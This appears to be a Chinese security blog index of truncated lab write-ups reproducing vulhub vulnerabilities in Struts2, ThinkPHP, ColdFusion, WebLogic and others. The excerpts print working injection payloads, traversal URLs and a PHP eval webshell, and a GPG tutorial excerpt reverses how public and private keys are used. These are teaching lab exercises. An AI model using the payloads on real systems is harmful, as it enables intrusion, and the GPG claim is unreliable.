Apache solr XXE漏洞(CVE-2017-12629)
实验要求漏洞环境:Apache solr XXE漏洞(CVE-2017-12629)
复现环境中的XXE漏洞,截图证明
利用XXE漏洞发送HTTP请求,在VPS服务器接收请求,或收到DNS记录。(SSRF利用)
利用XXE漏洞读取本地的 /etc/passwd文件。(文件读取利用)
靶场搭建进入漏洞文件目录下,运行漏洞环境:
docker compose up -d
命令执行成功后,需要等待一会,之后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。
漏洞复现XXE漏洞原理一般情况下,有些网站会支持XML-RPC(XML Remote Procedure Call),用户提交数据格式如下:
POST /xxe HTTP/1.1Host: aaa.comContent-Type: text/xml<?xml version="1.0"?><student><useername>xxx</username><password>yyy< ...
Struts2 S2-045远程代码执行漏洞(CVE-2017-5638)
实验要求漏洞环境:Struts2 S2-045远程代码执行漏洞(CVE-2017-5638)
复现环境中的OGNL表达式注入漏洞,截图证明
尝试利用漏洞执行系统命令,读取当前目录下的pom.xml内容,提供截图
靶场搭建执行如下命令启动struts2 2.3.30:
docker compose up -d
环境启动后,访问http://your-ip:8080即可看到上传页面。
漏洞复现payload:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
将payload放在Content-Type后面发送数据包,可见233*233已成功执行:
读取pom.xml构造payload,cmd=后面的内容改成'cat pom.xml',发送数据包
POST /doUpload.action HTTP/1.1Host: 1 ...
Jupyter Notebook 未授权访问漏洞
实验要求漏洞环境:Jupyter Notebook 未授权访问漏洞
复现环境中的未授权访问漏洞,登录Jupyter Web管理界面,截图证明
利用Jupyter Notebook控制台执行系统命令,读取/etc/passwd内容,提供截图
靶场搭建运行测试环境:
docker compose up -d
运行后,访问http://your-ip:8888将看到Jupyter Notebook的Web管理界面,并没有要求填写密码。
漏洞复现选择 new -> terminal 即可创建一个控制台:
可以直接执行任意命令:
读取/etc/passwd内容
Apache HTTPD 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)
实验要求漏洞环境:Apache HTTPD 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)
复现环境中的SSRF漏洞,截图证明
尝试利用SSRF漏洞,访问重庆邮电大学官网(http://www.cqupt.edu.cn/)
靶场搭建进入漏洞目录执行如下命令编译及运行一个Apache HTTP Server 2.4.43服务器:
docker compose up -d
服务器启动后,访问8080端口可以看到一个Apache Tomcat的示例页面,此时Apache HTTP Server是以中间反代服务器的身份,运行在客户端(用户)和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。
漏洞复现发送如下数据包,可见我们已经成功请求到http://example.com的页面并返回:
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...
使用河马对PHP Webshell进行查杀
环境搭建这里我直接使用PHPStudy2018+pikachu漏洞平台构建的环境。选择Unsafe Fileupload下的client check
先创建一个PHP一句话木马shell.php
<?php @eval($_POST[cmd]);?>
这里如果直接上传一个shell.php文件的话,会显示上传文件不符合要求
于是先将shell文件的后缀改成.jpg,然后burpsuite开启代理后再点击上传文件
将shell.jpg改成shell.php后点击发送
页面回显文件上传成功
用蚁剑连接,url地址是:
http://localhost:8888/pikachu/vul/unsafeupload/uploads/shell.php
可以看到连接成功,证明已经将一句话木马上传
使用河马查杀脚本木马安装河马详情见官方教程:https://www.shellpub.com/doc/hm_win_usage.html
查杀木马进入软件点击立即扫描
点击添加扫描路径,将可能存在Webshell的目录添加上去,点击开始扫描
扫描结果如下,点击 ...
Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
实验要求漏洞环境:Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
复现环境中的任意文件读取漏洞,截图证明
尝试利用漏洞读取目标系统中的”/opt/coldfusion8/license.txt”文件,提供截图
靶场搭建执行如下命令启动Adobe CouldFusion 8.0.1版本服务器:
docker-compose up -d
启动后,访问
http://your-ip:8500/CFIDE/administrator/enter.cfm
可以看到初始化页面,输入密码admin,最后点击ok,开始初始化整个环境。
漏洞复现用另外一个浏览器直接访问
http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en
即可读取文件/etc/passwd
我这里在浏览器访问:
http://192.168.52.130:8500/CFIDE/administrator/enter. ...
Weblogic 任意文件上传漏洞(CVE-2018-2894)
实验要求漏洞环境:Weblogic 任意文件上传漏洞(CVE-2018-2894)
复现环境中的任意文件上传漏洞,截图证明
上传WebShell(或反弹shell),并通过WebShell (或反弹shell)执行whoami命令,提供截图
靶场搭建进入/vulhub/weblogic/CVE-2018-2894目录下,终端输入docker-compose up -d开启靶场容器
浏览器访问Your-ip:7001/console即可看到后台登录页面
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic。
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:
漏洞复现访问http://your-ip:7001/ws_utc/config.do
设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.orac ...
ThinkPHP 2.x 任意代码执行漏洞
实验要求漏洞环境:ThinkPHP 2.x 任意代码执行漏洞
复现环境中的代码执行漏洞,截图证明
尝试利用代码执行漏洞读取服务器Web目录下的文件列表,提供截图
靶场搭建进入/vulhub/thinkphp/2-rce目录下,终端输入docker-compose up -d开启靶场容器,这里我将虚拟机5006端口映射到容器80端口,浏览器访问5006端口
漏洞复现直接访问http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
即可执行phpinfo()
读取服务器Web目录下的文件列表根据上面漏洞复现,要想读取文件列表,首先想到system()函数,于是构造http://192.168.52.130:5006/index.php?s=%2findex%2findex%2fname%2f$%7B@system(%22ls%22)%7D
但是这里单引号双引号都被过滤了
这是时想到PHP还有var_dump()函数,并且反引号似乎不会被过滤,于是构造payload:
http://192.168. ...
OpenTSDB 命令注入漏洞(CVE-2020-35476)
实验要求漏洞环境:OpenTSDB 命令注入漏洞(CVE-2020-35476)
复现环境中的命令注入漏洞,截图证明
尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果
利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器
靶场环境进入vulhub/opentsdb/CVE-2020-35476目录下执行docker-compose up -d启动靶场,访问4242端口
漏洞复现利用这个漏洞需要知道一个metric的名字,我们可以通过http://your-ip:4242/api/suggest?type=metrics&q=&max=10查看metric列表:
这里metrics为空
当前OpenTSDB开启了自动创建metric功能(tsd.core.auto_create_metrics = true),所以我们可以使用如下API创建一个名为sys.cpu.nice的metric并添加一条记录:
POST /api/put/ HTTP/1.1Host: 192.168.52.130:4242User-Agent: Moz ...
Linux_GPG加解密文件
下载GPGGPG官方下载地址: https://gnupg.org/download/index.html
我所使用的是kali_Linux,选择的是
请自行选择适合的版本下载,解压即可使用
也可以输入命令安装
sudo apt install gnupg
要使用 GPG,你首先需要有一个 GPG 密钥。
GPG 密钥是你在后面的教程中用来加密(或解密)文件的东西。它也是用来识别你的身份的,你的名字和电子邮件也会与密钥绑定。
GPG 密钥的工作原理是使用两个文件,一个私钥和一个公钥。这两个密钥是相互联系的,并且 GPG 的所有功能都需要使用它们,特别是对文件加密和解密。
当你用 GPG 加密一个文件时,它使用的是私钥。然后,这个新的加密文件只能用配对的公钥进行解密。
私钥,顾名思义,是以私下的、不给任何人看的方式来存储的密钥。
另一方面,公钥是用来给其他人的,或者你希望能够解密你的文件的任何人。
这就是 GPG 的加密方法的主要作用。它允许你对文件进行本地加密,然后允许其他人确保他们收到的文件实际上是由你发送的。因为他们能够解密文件的唯一方法是使用你的公钥,而这只有在文件首先使 ...